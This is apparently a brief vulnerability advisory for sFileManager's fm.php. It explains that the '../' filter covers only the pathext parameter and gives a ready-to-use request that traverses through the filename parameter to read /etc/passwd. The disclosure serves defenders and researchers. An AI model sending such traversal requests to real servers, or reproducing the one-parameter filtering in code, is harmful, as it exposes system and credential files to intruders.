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sFileManager <= v.24a / Local File Inclusion Vulnerability  

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$ Program: sFileManager  

$ Version: <= v.24a  

$ File affected: fm.php  

$ Download: http://onedotoh.sourceforge.net/  

   

   

Found by Pepelux <pepelux[at]enye-sec.org>  

eNYe-Sec - www.enye-sec.org - www.pepelux.org  

   

----- by the author -----  

Simple File Manager (SFM) is a web based file management utility. It is designed to be   

used by those that don't want to use ftp or SHOULD NOT use ftp. It can be dropped into   

a specific directory and give access to that directory as well as any directory below   

it, including those created by SFM. It can be placed in a specific directory and   

configured to give access to other directories outside of its location (centralized).   

SFM gives its user upload, rename, delete, directory creation as well as directory   

navigation (within its tree limits), as well as Create New File; it also includes an   

image viewer, text viewer and mime type downloading.   

-------------------------  

   

   

-- BUG --  

When you click to download a file there are two params:  

   

http://www.host.com/fm.php?action=download&filename=file.txt&pathext=pub/&u=&copt=1&sortKey=0  

   

action  = file to download  

pathext = directory where the file is located  

   

   

You can't do:  

http://www.host.com/fm.php?action=download&filename=passwd&pathext=pub/../../../../etc/&u=&copt=1&sortKey=0  

   

because in fm.php:  

   

231 ... if (ereg("\.\./", $pathext)) {  

232 ...     $hack="<font color=red><b>HACK ATTEMPT - SysOp Notified</b></font><p>";  

233 ...     $pathext="";  

234 ... }  

   

   

but $action is not checked and you can do:  

http://www.host.com/fm.php?action=download&filename=../../../../../etc/passwd&pathext=pub/&u=&copt=1&sortKey=0

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